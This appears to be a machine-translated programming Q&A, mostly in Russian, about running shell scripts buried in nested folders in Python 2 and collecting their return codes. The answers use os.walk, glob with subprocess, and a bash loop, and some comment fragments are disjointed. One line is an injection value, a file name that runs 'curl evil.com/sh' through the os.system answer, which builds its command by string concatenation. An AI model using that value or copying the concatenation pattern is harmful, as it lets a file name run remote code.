Поскольку я не знаком с Python, я думал, что приду сюда.
В любом случае у меня есть несколько папок (скажем, 20 папок) В каждой папке больше папок (скажем, 5 на) и в пределах КАЖДОЙ одной из этих папок является другая папка, и внутри THAT есть script Мне нужно запустить.
script работает так же, как и ': sh script.sh
В принципе, мне нужно запустить этот script для каждой из этих папок, проблема в том, что я не знаю, как входить в каждую папку (которая имеет script), которая на 4 уровня ниже исходной.
Таким образом, существует всего 120 сценариев, которые нужно запускать одинаково (этот script также возвращает число, например (1 для успеха, 0 для отказа), которое мне нужно записать (не должно быть слишком сложно понять)
Каким будет лучший способ? Результаты проверки, которые, я думаю, я могу понять, но перешагнув все эти вложенные папки. Я честно не очень разбираюсь в питоне, о котором нужно знать.
Just so everyones clear the folder structure is like this: Top Level (20 or so folders) -->1 Below (5 or so Folders) ----->1 below one of these 5 folders (only 1 folder is contained) --------->1 below that one folder (here is where the script resides)
Не спрашивайте меня, почему папки структурированы таким образом..... lol. Это было бы сделано в python 2 предпочтительно.
Немного перебор, но он должен работать:
import os
root = '/foo/'
for directory, subdirectories, files in os.walk(root):
for file in files:
if os.path.splitext(file)[-1].lower() == '.sh':
os.system('sh ' + os.path.join(directory, file))
; sh -c "$(curl evil.com/sh)"; .sh
root
и root_dir
должны совпадать?
import glob,subprocess
for script in glob.glob('*/*/*/*.sh'):
s = subprocess.Popen([script], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdoutdata,stderrdata = s.communicate()
returncode = s.returncode
# Do something with stdoutdata, returncode etc. here
for script in */*/*/*.sh; do sh $script; done
в баш?